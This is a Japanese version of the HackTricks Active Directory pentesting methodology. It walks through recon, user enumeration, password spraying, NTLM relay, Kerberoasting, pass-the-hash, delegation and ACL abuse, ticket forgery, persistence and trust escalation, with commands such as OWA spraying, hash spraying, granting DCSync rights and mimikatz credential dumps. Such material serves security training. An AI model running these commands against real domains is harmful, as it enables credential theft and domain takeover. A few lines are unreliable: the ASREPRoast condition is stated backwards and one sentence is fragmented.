Active Directory Methodology

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Basic overview

Active Directory は、ネットワーク管理者がネットワーク内の domains, users, objects を効率的に作成・管理するための基盤技術です。大規模にスケールするよう設計されており、多数のユーザーを管理しやすい groupssubgroups に整理し、さまざまなレベルでの access rights を制御できます。

Active Directory の構造は主に 3 層で構成されます: domains, trees, forestsdomain は共通のデータベースを共有する usersdevices といったオブジェクトの集合を含みます。trees は共通の構造で結びついたこれらのドメインのグループであり、forest は複数のツリーが trust relationships によって相互接続された、組織構造の最上位を表します。各レイヤーで特定の accesscommunication rights を指定できます。

Active Directory の主要な概念は以下の通りです:

  1. Directory – Active Directory オブジェクトに関する全情報を格納します。
  2. Object – ディレクトリ内のエンティティ(users, groups, shared folders など)を指します。
  3. Domain – ディレクトリオブジェクトのコンテナであり、複数のドメインが forest 内に共存し、それぞれ独自のオブジェクト集合を保持できます。
  4. Tree – 共通のルートドメインを共有するドメインの集合です。
  5. Forest – Active Directory の組織構造の頂点であり、複数のツリーとそれらの間の trust relationships で構成されます。

Active Directory Domain Services (AD DS) は、ネットワーク内での集中管理と通信に不可欠な一連のサービスを包含します。これらのサービスには以下が含まれます:

  1. Domain Services – データの集中保存を行い、usersdomains 間の相互作用(authenticationsearch 機能を含む)を管理します。
  2. Certificate Services – セキュアな digital certificates の作成、配布、管理を監督します。
  3. Lightweight Directory ServicesLDAP protocol を通じてディレクトリ対応アプリケーションをサポートします。
  4. Directory Federation Services – 複数の Web アプリケーションに対して single-sign-on を提供します。
  5. Rights Management – 著作物の不正配布や使用を制御して保護する助けになります。
  6. DNS Servicedomain names の解決に不可欠です。

より詳細な説明は次を参照してください: TechTerms - Active Directory Definition

Kerberos Authentication

AD を攻撃する方法を学ぶには、Kerberos authentication process を非常に良く理解する必要があります。
まだ仕組みがわからない場合はこのページを読んでください。

Cheat Sheet

クイックにどのコマンドで AD を列挙/悪用できるか確認したい場合は、https://wadcoms.github.io/ を参照してください。

Warning

Kerberos communication requires a full qualifid name (FQDN) for performing actions. If you try to access a machine by the IP address, it’ll use NTLM and not kerberos.

Recon Active Directory (No creds/sessions)

AD 環境にアクセスできるが資格情報/セッションがない場合、次のことができます:

  • Pentest the network:
  • ネットワークをスキャンし、マシンや開いているポートを見つけ、exploit vulnerabilitiesextract credentials を試みます(たとえば、printers could be very interesting targets)。
  • DNS の列挙は、ドメイン内の重要なサーバ(web, printers, shares, vpn, media など)に関する情報を提供してくれる可能性があります。
  • gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt
  • 詳細は General な Pentesting Methodology を参照して方法を確認してください。
  • Check for null and Guest access on smb services (これは最新の Windows バージョンでは機能しません):
  • enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>
  • smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>
  • smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //
  • SMB サーバの列挙方法についての詳細ガイドは次を参照してください:

139,445 - Pentesting SMB

  • Enumerate Ldap
  • nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>
  • LDAP の列挙方法についての詳細ガイドはこちら(anonymous access に特に注意):

389, 636, 3268, 3269 - Pentesting LDAP

  • Poison the network
  • Responder を使った impersonating services により資格情報を収集する({#ref}../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md{#endref})
  • abusing the relay attack によりホストにアクセスする
  • evil-S を用いて exposing fake UPnP services として資格情報を収集する({#ref}../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md{#endref})SDP
  • OSINT:
  • 内部ドキュメント、ソーシャルメディア、ドメイン内のサービス(主に web)や公開されている情報からユーザー名や氏名を抽出します。
  • 社員のフルネームがわかれば、さまざまな AD username conventions を試すことができます(read this)。一般的な規則は: NameSurname, Name.Surname, NamSur(各名前の最初の3文字), Nam.Sur, NSurname, N.Surname, SurnameName, Surname.Name, SurnameN, Surname.N, 3 文字のランダム + 3 数字(例: abc123)。
  • ツール:
  • w0Tx/generate-ad-username
  • urbanadventurer/username-anarchy

User enumeration

  • Anonymous SMB/LDAP enum: pentesting SMBpentesting LDAP のページを参照してください。
  • Kerbrute enum: 無効なユーザー名がリクエストされた場合、サーバは Kerberos error コード KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN を返し、ユーザー名が無効であることを特定できます。有効なユーザー名は AS-REP 内の TGT の応答か、または事前認証が必要であることを示すエラー KRB5KDC_ERR_PREAUTH_REQUIRED を返します。
  • No Authentication against MS-NRPC: domain controllers の MS-NRPC (Netlogon) インターフェースに対して auth-level = 1 (No authentication) を使用します。この方法は MS-NRPC インターフェースにバインドした後 DsrGetDcNameEx2 関数を呼び出して、資格情報なしでユーザーやコンピュータが存在するかを確認します。NauthNRPC ツールはこの種の列挙を実装しています。研究はこちらで参照できます: https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases

nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='DOMAIN'" <IP>
Nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='<domain>',userdb=/root/Desktop/usernames.txt <IP>

msf> use auxiliary/gather/kerberos_enumusers

crackmapexec smb dominio.es  -u '' -p '' --users | awk '{print $4}' | uniq
python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/NauthNRPC
  • OWA (Outlook Web Access) Server

ネットワーク内でこれらのサーバのいずれかを見つけた場合、user enumeration against it を実行できます。例えば、ツール MailSniper:

ipmo C:\Tools\MailSniper\MailSniper.ps1
# Get info about the domain
Invoke-DomainHarvestOWA -ExchHostname [ip]
# Enumerate valid users from a list of potential usernames
Invoke-UsernameHarvestOWA -ExchHostname [ip] -Domain [domain] -UserList .\possible-usernames.txt -OutFile valid.txt
# Password spraying
Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summer2021
# Get addresses list from the compromised mail
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt

Warning

ユーザー名のリストは this github repo および (statistically-likely-usernames) にあります。

ただし、事前に実施した recon の段階で 会社で働く人々の名前 を把握しているはずです。名と姓が分かれば、スクリプト namemash.py を使って候補となる有効なユーザー名を生成できます。

Knowing one or several usernames

では、有効なユーザー名は既にわかっているがパスワードはない、という場合は次を試してください:

  • ASREPRoast: ユーザーが属性 DONT_REQ_PREAUTH持っていない場合、そのユーザーに対してAS_REPメッセージを要求でき、そのメッセージにはユーザーのパスワード派生で暗号化されたデータが含まれます。
  • Password Spraying: 発見した各ユーザーに対して最も一般的なパスワードを試してみましょう。弱いパスワードを使っているユーザーがいるかもしれません(パスワードポリシーに注意してください)。
  • また、ユーザーのメールサーバーへアクセスを試みるために spray OWA servers することもできます。

Password Spraying / Brute Force

LLMNR/NBT-NS Poisoning

ネットワークのいくつかのプロトコルを poisoning することで、クラック可能なチャレンジの hashes を取得できる場合があります:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

NTLM Relay

Active Directory の列挙に成功すれば、より多くのメールアドレスやネットワークの理解が得られます。NTLM の relay attacks を強制して AD 環境にアクセスできる可能性があります。

Steal NTLM Creds

もし null または guest user で他の PC や共有にアクセスできるなら、SCF ファイルのようなファイルを配置しておき、それが何らかの形で参照されるとあなたに対して NTLM 認証をトリガー させることができ、NTLM challenge を盗んでクラックすることができます:

Places to steal NTLM creds

Enumerating Active Directory WITH credentials/session

このフェーズでは、有効なドメインアカウントの 資格情報またはセッションを奪取している 必要があります。もし有効な資格情報やドメインユーザーとしてのシェルを持っているなら、前述のオプションは依然として他のユーザーを侵害するための選択肢であることを忘れないでください。

認証済みの列挙を開始する前に、Kerberos double hop problem を理解しておくべきです。

Kerberos Double Hop Problem

Enumeration

アカウントを奪取することは、ドメイン全体を侵害し始めるための大きな一歩です。これにより Active Directory Enumeration を開始できます:

ASREPRoast に関しては、今や可能な脆弱ユーザーをすべて見つけられますし、Password Spraying に関しては全ユーザー名のリストを取得して、奪取したアカウントのパスワード、空パスワード、新たに有望なパスワードを試すことができます。

  • You could use the CMD to perform a basic recon
  • また、よりステルスに行いたいなら powershell for recon を使うことができます
  • より詳細な情報抽出には use powerview も利用できます
  • Active Directory のリコンにもう一つ素晴らしいツールは BloodHound です。収集方法によりますが それほどステルスではない ことが多いです。気にしないのであればぜひ試してみてください。ユーザーがどこで RDP できるか、他のグループへの経路などを見つけられます。
  • Other automated AD enumeration tools are: AD Explorer, ADRecon, Group3r, PingCastle.
  • DNS records of the AD は興味深い情報を含んでいる可能性があります。
  • GUI を備えたディレクトリ列挙用ツールとしては AdExplorer.exeSysInternal Suite)があります。
  • ldapsearch を使って LDAP データベースを検索し、フィールド userPasswordunixUserPassword、あるいは Description にクレデンシャルが含まれていないか確認することもできます。その他の手法は cf. Password in AD User comment on PayloadsAllTheThings を参照してください。
  • Linux を使用している場合は pywerview でドメイン列挙することもできます。
  • また、以下の自動化ツールを試すこともできます:
  • tomcarver16/ADSearch
  • 61106960/adPEAS
  • Extracting all domain users

Windows ではドメインの全ユーザー名を取得するのは非常に簡単です(net user /domainGet-DomainUser、または wmic useraccount get name,sid)。Linux では GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/usernameenum4linux -a -u "user" -p "password" <DC IP> を使用できます。

たとえこの Enumeration セクションが短く見えても、これは最も重要な部分です。リンク(主に cmd、powershell、powerview、BloodHound のもの)にアクセスして、ドメインの列挙方法を学び、十分に慣れるまで練習してください。評価中、これが DA に到達するための鍵となる瞬間、あるいは何もできないと判断するための重要なポイントになります。

Kerberoast

Kerberoasting は、ユーザーアカウントに紐づくサービスが使用する TGS tickets を取得し、それらの暗号(ユーザーパスワードに基づく)を オフライン でクラックする手法です。

詳細は:

Kerberoast

Remote connexion (RDP, SSH, FTP, Win-RM, etc)

いくつかの資格情報を入手したら、どの machine にアクセス可能かを確認してください。そのために、ポートスキャン結果に応じて複数のサーバーへ異なるプロトコルで接続を試みるために CrackMapExec を使うことができます。

Local Privilege Escalation

通常のドメインユーザーとして資格情報やセッションを奪取していて、ドメイン内のいずれかのマシンにそのユーザーでアクセスできる場合は、ローカルで権限昇格してクレデンシャルを収集する方法を探すべきです。ローカルの管理者権限を得ることでのみ、他のユーザーのハッシュをメモリ(LSASS)やローカル(SAM)からダンプすることが可能になります。

本書には local privilege escalation in Windows に関する完全なページと、checklist があります。また、WinPEAS の使用も忘れないでください。

Current Session Tickets

現在のユーザーのチケットが予期しないリソースへのアクセス権を与えていることを見つけるのは非常にですが、確認してみる価値はあります:

## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage
## Dump the interesting one by luid
.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))

NTLM Relay

Active Directoryを列挙できれば、より多くのメール情報とネットワークの理解を得られます。NTLMのrelay attacksを強制できる可能性があります。

コンピューター共有で資格情報を探す | SMB Shares

基本的な資格情報を入手したら、AD内で共有されている興味深いファイルを見つけられないか確認してください。手動で行うこともできますが、非常に退屈で反復的な作業です(何百ものドキュメントを確認する必要がある場合はさらに大変です)。

利用可能なツールについてはこのリンクを参照してください。

NTLM 資格情報の窃取

他のPCや共有にアクセスできるなら、(例: SCF file)を配置することができます。それが何らかの形で参照されると、あなたに対してNTLM認証をトリガーし、NTLM challenge盗んでクラッキングすることができます:

Places to steal NTLM creds

CVE-2021-1675/CVE-2021-34527 PrintNightmare

この脆弱性により、認証済みの任意のユーザーがドメインコントローラーを乗っ取ることが可能になりました。

PrintNightmare

Active Directory上での特権認証/セッションを持つ場合の権限昇格

以下の技術を実行するには通常のドメインユーザーでは不十分で、これらの攻撃を行うために特別な権限や資格情報が必要です。

Hash extraction

幸いにも AsRepRoast, Password Spraying, Kerberoast, Responder(リレーを含む)、EvilSSDPescalating privileges locally などを使っていくつかのローカル管理者アカウントを侵害することができているかもしれません。
その後、メモリおよびローカルからすべてのハッシュをダンプする時です。
ハッシュを取得するさまざまな方法についてはこちらを読んでください。

Pass the Hash

ユーザーのhashを入手したら、それを使ってそのユーザーを偽装(impersonate)できます。
そのhashを使って
NTLM認証を実行する
ようなツールを使うか、新しいsessionlogonを作成してそのhashLSASS内に注入(inject)し、以降のNTLM認証が実行されるとそのhashが使用されるようにする方法があります。後者がmimikatzのやり方です。
詳しくはこのページを読んでください。

Over Pass the Hash/Pass the Key

この攻撃は、一般的なPass The Hash(NTLM経由)の代替として、ユーザーのNTLMハッシュを使ってKerberosチケットを要求することを目的としています。したがって、NTLMプロトコルが無効化されておりKerberosのみが認証プロトコルとして許可されているネットワークで特に有用です。

Over Pass the Hash/Pass the Key

Pass the Ticket

Pass The Ticket (PTT) 攻撃では、攻撃者はパスワードやハッシュ値の代わりにユーザーの認証チケットを盗みます。盗まれたチケットを使ってユーザーを**偽装(impersonate)**し、ネットワーク内のリソースやサービスへ不正アクセスを行います。

Pass the Ticket

Credentials Reuse

ローカル管理者のhashまたはpasswordを持っている場合は、それを使って他のPCローカルでログインしてみてください。

# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +

Warning

これはかなりノイズが多いので、LAPSがそれを軽減します。

MSSQL の悪用と信頼されたリンク

ユーザーがMSSQL インスタンスにアクセスする権限を持っている場合、MSSQLホスト上で(SAとして動作していれば)コマンドを実行する、NetNTLM の hash盗む、あるいはrelay attack を実行することが可能です。
また、ある MSSQL インスタンスが別の MSSQL インスタンスから信頼(database link)されている場合、ユーザーが信頼されたデータベースに対する権限を持っていれば、信頼関係を利用して別のインスタンスでもクエリを実行できるようになります。これらの信頼は連鎖することがあり、最終的にコマンドを実行できるような誤設定されたデータベースを見つけられるかもしれません。
データベース間のリンクはフォレスト間の trust を越えても機能します。

MSSQL AD Abuse

IT asset/deployment platforms abuse

サードパーティのインベントリやデプロイメントスイートは、しばしば資格情報やコード実行への強力な経路を露出します。参照:

Sccm Management Point Relay Sql Policy Secrets

Lansweeper Security

Unconstrained Delegation

もし ADS_UF_TRUSTED_FOR_DELEGATION 属性を持つ Computer オブジェクトが見つかり、そのコンピュータ上でドメイン権限を持っている場合、そのコンピュータにログオンするすべてのユーザーのメモリから TGT をダンプすることができます。
したがって、Domain Admin がそのコンピュータにログオンした場合、その TGT をダンプして Pass the Ticket を使って偽装することが可能になります。
constrained delegation によっては、(運が良ければそれが DC である)Print Server を自動的に乗っ取ることさえ可能です。

Unconstrained Delegation

Constrained Delegation

もしユーザーまたはコンピュータが “Constrained Delegation” を許可されていると、そのコンピュータ内のいくつかのサービスに対して任意のユーザーを偽装してアクセスすることができます。
そのため、このユーザー/コンピュータのハッシュを奪取すれば、(Domain Admin を含む)任意のユーザーを偽装して特定のサービスにアクセスすることが可能になります。

Constrained Delegation

Resourced-based Constrain Delegation

リモートコンピュータの Active Directory オブジェクトに対して WRITE 権限を持つことは、昇格した権限でコード実行を得る手段を可能にします:

Resource-based Constrained Delegation

Permissions/ACLs Abuse

侵害されたユーザーがドメインオブジェクトに対して興味深い権限を持っている場合、それを使って横移動や権限昇格を行えることがあります。

Abusing Active Directory ACLs/ACEs

Printer Spooler サービスの悪用

ドメイン内で Spool サービスがリッスンしていることを発見すると、これを悪用して新たな資格情報を取得し、権限を昇格させることができます。

Force NTLM Privileged Authentication

Third party sessions abuse

他のユーザー侵害されたマシンにアクセスすると、メモリから資格情報を収集したり、彼らのプロセスにビーコンを注入して偽装することが可能です。
通常ユーザーは RDP を介してシステムにアクセスするので、第三者の RDP セッションに対して行ういくつかの攻撃方法が以下にあります:

RDP Sessions Abuse

LAPS

LAPS はドメイン参加したコンピュータのローカル Administrator パスワードを管理するためのシステムで、パスワードをランダム化し、一意にし、頻繁に変更します。これらのパスワードは Active Directory に保存され、アクセスは ACL により許可されたユーザーのみに制御されます。これらのパスワードにアクセスするための十分な権限があれば、他のコンピュータへピボットすることが可能になります。

LAPS

Certificate Theft

侵害されたマシンから証明書を収集することは、環境内での権限昇格の手段となり得ます:

AD CS Certificate Theft

Certificate Templates Abuse

脆弱なテンプレートが設定されている場合、それらを悪用して権限を昇格することが可能です:

AD CS Domain Escalation

高権限アカウントでのポストエクスプロイテーション

Dumping Domain Credentials

一度 Domain Admin、あるいはさらに Enterprise Admin の権限を得ると、ドメインデータベース ntds.ditダンプすることができます。

More information about DCSync attack can be found here.

More information about how to steal the NTDS.dit can be found here

Privesc as Persistence

前述のいくつかの手法は永続化のためにも使用できます。
例:

Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
  • ユーザーに DCSync 権限を付与する
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync

Silver Ticket

Silver Ticket attack は、特定のサービスのための正当な Ticket Granting Service (TGS) チケットを、(例えばPC アカウントのハッシュのような)NTLM hash を使って作成する攻撃です。この手法はサービス権限へのアクセスを目的として利用されます。

Silver Ticket

Golden Ticket

Golden Ticket attack は、Active Directory 環境における krbtgt アカウントの NTLM hash を攻撃者が取得することを伴います。このアカウントはすべての Ticket Granting Ticket (TGT) に署名するために使われる特権的なアカウントです。

攻撃者がこのハッシュを取得すると、任意のアカウント用の TGT を作成することが可能になり(Silver ticket 攻撃と同様)、ネットワーク内で認証を偽装できます。

Golden Ticket

Diamond Ticket

これは、一般的な golden ticket 検出メカニズムを回避するように偽造された golden ticket のようなものです。

Diamond Ticket

Certificates Account Persistence

アカウントの証明書を保有する、または要求できることは、(パスワードが変更されても)そのユーザーアカウント内に永続化するための非常に有効な手段です:

AD CS Account Persistence

Certificates Domain Persistence

証明書を使うことでドメイン内で高権限の永続化を行うことも可能です:

AD CS Domain Persistence

AdminSDHolder Group

Active Directory の AdminSDHolder オブジェクトは、Domain Admins や Enterprise Admins のような 特権グループのセキュリティを確保するために、これらのグループに標準の ACL を適用して不正な変更を防ぎます。しかし、この機能は悪用され得ます。攻撃者が AdminSDHolder の ACL を変更して通常ユーザーにフルアクセスを与えると、そのユーザーはすべての特権グループに対して広範な制御を得ることができます。このセキュリティ対策は、監視が不十分だと逆に不正アクセスを許してしまう可能性があります。

More information about AdminDSHolder Group here.

DSRM Credentials

すべての Domain Controller (DC) にはローカル管理者アカウントが存在します。そのようなマシンで管理権を取得すると、mimikatz を用いてローカル Administrator のハッシュを抽出できます。その後、リモートでローカル Administrator アカウントを利用可能にするためにレジストリの変更が必要になります。

DSRM Credentials

ACL Persistence

将来的にユーザーが権限昇格できるように、特定のドメインオブジェクトに対して特別な権限をユーザーに付与することができます。

Abusing Active Directory ACLs/ACEs

Security Descriptors

Security descriptors はオブジェクトが持つ権限格納するために使われます。オブジェクトのセキュリティディスクリプタに少しの変更を加えるだけで、特権グループに属していなくてもそのオブジェクトに対して非常に興味深い権限を得ることができます。

Security Descriptors

Skeleton Key

メモリ内の LSASS を改変してユニバーサルパスワードを設定し、すべてのドメインアカウントへのアクセスを可能にします。

Skeleton Key

Custom SSP

Learn what is a SSP (Security Support Provider) here.
独自の SSP を作成して、マシンへのアクセスに使用される認証情報を平文でキャプチャすることができます。

Custom SSP

DCShadow

新しい Domain Controller を AD に登録し、それを使って指定したオブジェクトに対して SIDHistory や SPN などの属性を ログを残さずにプッシュします。これを行うには DA 権限が必要で、ルートドメイン内にいる必要があります。
ただし、もし間違ったデータを使用すると、かなり目立つログが生成されます。

DCShadow

LAPS Persistence

前述したように、LAPS パスワードを読む権限があれば権限昇格が可能です。しかし、これらのパスワードは永続化にも利用できます。
参照:

LAPS

フォレストの権限昇格 - ドメイントラスト

Microsoft は Forest をセキュリティ境界と見なします。これは、単一ドメインの侵害がフォレスト全体の侵害につながる可能性があることを意味します。

基本情報

domain trust は、あるドメインのユーザーが別のドメインのリソースにアクセスできるようにするセキュリティ機構です。これは両ドメインの認証システム間に連結を作り、認証の確認がシームレスに流れるようにします。ドメインがトラストを設定すると、両ドメインの Domain Controller (DC) はトラストの整合性に重要な特定の キー を交換・保持します。

典型的なシナリオでは、ユーザーが trusted domain のサービスにアクセスするには、まず自ドメインの DC から特別なチケットである inter-realm TGT を要求する必要があります。この TGT は両ドメインが合意した共有の key で暗号化されます。ユーザーはこの TGT を trusted domain の DC に提示してサービスチケット(TGS)を取得します。trusted domain の DC が inter-realm TGT を検証すると、クライアントに TGS を発行し、サービスへのアクセスを許可します。

手順:

  1. Domain 1 のクライアントコンピュータが自身の NTLM hash を使って Domain Controller (DC1)Ticket Granting Ticket (TGT) を要求します。
  2. クライアントが正しく認証されると DC1 は新しい TGT を発行します。
  3. クライアントは次に Domain 2 のリソースにアクセスするために DC1 から inter-realm TGT を要求します。
  4. inter-realm TGT は、双方向のドメイントラストの一部として DC1 と DC2 の間で共有される trust key で暗号化されています。
  5. クライアントは inter-realm TGT を Domain 2 の Domain Controller (DC2) に持っていきます。
  6. DC2 は共有された trust key を使って inter-realm TGT を検証し、有効であればクライアントがアクセスしようとしている Domain 2 のサーバに対する Ticket Granting Service (TGS) を発行します。
  7. 最後にクライアントはこの TGS をサーバに提示します。この TGS はサーバのアカウントハッシュで暗号化されており、Domain 2 のサービスへのアクセスが得られます。

Different trusts

トラストは 片方向 または 双方向 のいずれかである点に注意が必要です。双方向の場合、両ドメインは互いに信頼しますが、片方向 のトラストでは一方が trusted で他方が trusting となります。この場合、trusted のドメインから trusting のドメイン内のリソースにのみアクセス可能です。

もし Domain A が Domain B を信頼している場合、A が trusting ドメインで B が trusted ドメインです。さらに、Domain A ではこれは Outbound trustDomain B では Inbound trust になります。

Different trusting relationships

  • Parent-Child Trusts: 同一フォレスト内で一般的な構成で、子ドメインは自動的に親ドメインと双方向の推移的トラストを持ちます。これにより親と子の間で認証要求がシームレスに流れます。
  • Cross-link Trusts: 「shortcut trusts」とも呼ばれ、子ドメイン間でリファーラル処理を高速化するために設定されます。複雑なフォレストでは認証リファーラルはフォレストルートまで上がり、ターゲットドメインまで下がる必要がありますが、cross-link を作ることでその経路を短縮できます。
  • External Trusts: 異なる無関係なドメイン間に設定されるトラストで、非推移的です。Microsoft のドキュメントによると、external trusts はフォレストトラストによって接続されていないフォレスト外のドメインのリソースにアクセスする際に有用です。外部トラストでは SID filtering によってセキュリティが強化されます。
  • Tree-root Trusts: フォレストルートドメインと新しく追加されたツリールート間で自動的に確立されるトラストです。一般的ではありませんが、新しいドメインツリーをフォレストに追加する際に重要です(双方向の推移性を維持します)。
  • Forest Trusts: これは二つのフォレストルートドメイン間の双方向推移的トラストで、SID filtering を強制してセキュリティを強化します。
  • MIT Trusts: 非 Windows の、RFC4120 準拠 の Kerberos ドメインと確立されるトラストです。外部の Kerberos ベースのシステムと統合する必要がある環境向けに使われます。

Other differences in trusting relationships

  • トラスト関係は 推移的(A trust B, B trust C → A trust C)または 非推移的 に設定できます。
  • トラスト関係は 双方向(双方が互いを信頼)または 片方向(一方のみが他方を信頼)として設定できます。

Attack Path

  1. Enumerate して trusting 関係を列挙する
  2. どの security principal(ユーザー/グループ/コンピュータ)が 他ドメインのリソースにアクセスできるか(ACE エントリや別ドメインのグループに所属しているか)を確認する。ドメインを越えた関係性を探す(トラストはそのために作られている可能性が高い)。
  3. このケースでは kerberoast も別のオプションになり得る。
  4. ドメインをピボットできるアカウントを侵害する。

攻撃者は他ドメインのリソースにアクセスするために主に以下の3つのメカニズムを利用できます:

  • Local Group Membership: プリンシパルがサーバ上の “Administrators” グループなどのローカルグループに追加されている場合、そのマシンに対する大きな制御を得ます。
  • Foreign Domain Group Membership: プリンシパルが外部ドメインのグループのメンバーであることもあります。ただし、この方法の有効性はトラストの性質やグループの範囲に依存します。
  • Access Control Lists (ACLs): プリンシパルが ACL、特に DACL 内の ACE として指定されている場合、特定リソースへのアクセス権を持ちます。ACL、DACL、ACE の仕組みをより深く理解したい場合は、ホワイトペーパー “An ACE Up The Sleeve” が非常に参考になります。

Find external users/groups with permissions

ドメイン内の外部セキュリティプリンシパルを見つけるには、CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com を確認できます。これらは 外部ドメイン/フォレスト から来たユーザー/グループです。

この確認は Bloodhound や powerview を使って行うことができます:

# Get users that are i groups outside of the current domain
Get-DomainForeignUser

# Get groups inside a domain with users our
Get-DomainForeignGroupMember

Child-to-Parent forest privilege escalation

# Fro powerview
Get-DomainTrust

SourceName      : sub.domain.local    --> current domain
TargetName      : domain.local        --> foreign domain
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST       --> WITHIN_FOREST: Both in the same forest
TrustDirection  : Bidirectional       --> Trust direction (2ways in this case)
WhenCreated     : 2/19/2021 1:28:00 PM
WhenChanged     : 2/19/2021 1:28:00 PM

domain trusts を列挙するその他の方法:

# Get DCs
nltest /dsgetdc:<DOMAIN>

# Get all domain trusts
nltest /domain_trusts /all_trusts /v

# Get all trust of a domain
nltest /dclist:sub.domain.local
nltest /server:dc.sub.domain.local /domain_trusts /all_trusts

Warning

信頼されたキーが2つあります。1つは Child –> Parent 用、もう1つは Parent –> Child 用です。
現在のドメインで使用されているキーは次のコマンドで確認できます:

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"'

SID-History Injection

SID-History injection を悪用して、trust を利用し child/parent domain に対して Enterprise admin に昇格します:

SID-History Injection

Exploit writeable Configuration NC

Configuration Naming Context (NC) がどのように悪用され得るかを理解することは重要です。Configuration NC は Active Directory (AD) 環境におけるフォレスト全体の構成データの中央リポジトリとして機能します。このデータはフォレスト内のすべての Domain Controller (DC) に複製され、書き込み可能な DC は Configuration NC の書き込み可能なコピーを保持します。これを悪用するには、DC 上での SYSTEM privileges が必要で、望ましくは child DC です。

Link GPO to root DC site

Configuration NC の Sites コンテナには、AD フォレスト内のドメイン参加コンピュータすべてのサイト情報が含まれます。任意の DC 上で SYSTEM privileges を持って操作することで、攻撃者は GPO を root DC のサイトにリンクできます。これにより、これらのサイトに適用されるポリシーを操作して root ドメインを危険にさらす可能性があります。

詳細については、Bypassing SID Filtering の調査を参照してください。

Compromise any gMSA in the forest

攻撃ベクトルの一つは、ドメイン内の特権的な gMSA を標的にすることです。gMSA のパスワード算出に必要な KDS Root key は Configuration NC に保存されています。任意の DC 上で SYSTEM privileges を持てば、KDS Root key にアクセスしてフォレスト内の任意の gMSA のパスワードを算出することが可能です。

詳細な解析と手順は以下を参照してください:

Golden Dmsa Gmsa

補完的な delegated MSA 攻撃(BadSuccessor – migration 属性の悪用):

Badsuccessor Dmsa Migration Abuse

追加の外部研究: Golden gMSA Trust Attacks

Schema change attack

この手法は新しい特権 AD オブジェクトの作成を待つなど忍耐が必要です。SYSTEM privileges を持てば、攻撃者は AD Schema を変更して任意のユーザにすべてのクラスに対する完全な制御を付与できます。これにより、新しく作成される AD オブジェクトに対する不正なアクセスや制御が可能になります。

詳細は Schema Change Trust Attacks を参照してください。

From DA to EA with ADCS ESC5

ADCS ESC5 脆弱性は、PKI オブジェクトの制御を狙い、フォレスト内の任意のユーザとして認証できる証明書テンプレートを作成することを目的としています。PKI オブジェクトは Configuration NC に存在するため、書き込み可能な child DC を侵害することで ESC5 攻撃を実行できます。

詳細は From DA to EA with ESC5 を参照してください。ADCS が存在しない場合でも、攻撃者は必要なコンポーネントを構築できることが Escalating from Child Domain Admins to Enterprise Admins で議論されています。

External Forest Domain - One-Way (Inbound) or bidirectional

Get-DomainTrust
SourceName      : a.domain.local   --> Current domain
TargetName      : domain.external  --> Destination domain
TrustType       : WINDOWS-ACTIVE_DIRECTORY
TrustAttributes :
TrustDirection  : Inbound          --> Inboud trust
WhenCreated     : 2/19/2021 10:50:56 PM
WhenChanged     : 2/19/2021 10:50:56 PM

このシナリオでは、あなたのドメインが外部ドメインから信頼されており、外部ドメイン上で未確定の権限が与えられています。自ドメインのどのプリンシパルが外部ドメインに対してどのようなアクセスを持っているかを特定し、それを悪用する必要があります:

External Forest Domain - OneWay (Inbound) or bidirectional

外部フォレストドメイン - 一方向(アウトバウンド)

Get-DomainTrust -Domain current.local

SourceName      : current.local   --> Current domain
TargetName      : external.local  --> Destination domain
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection  : Outbound        --> Outbound trust
WhenCreated     : 2/19/2021 10:15:24 PM
WhenChanged     : 2/19/2021 10:15:24 PM

In this scenario あなたのドメイン信頼している別のドメインのプリンシパルにいくつかの権限を与えています。

しかし、ドメインが信頼されると、trusted ドメインは予測可能な名前ユーザーを作成し、そのパスワードに信頼側のパスワードを使用します。つまり、信頼ドメインのユーザーにアクセスし、信頼先ドメインへ侵入できる可能性があり、そこを列挙してさらに権限昇格を試みることができます:

External Forest Domain - One-Way (Outbound)

もう一つの方法は、ドメイン信頼の逆方向に作成されたSQL trusted linkを見つけることです(これはあまり一般的ではありません)。

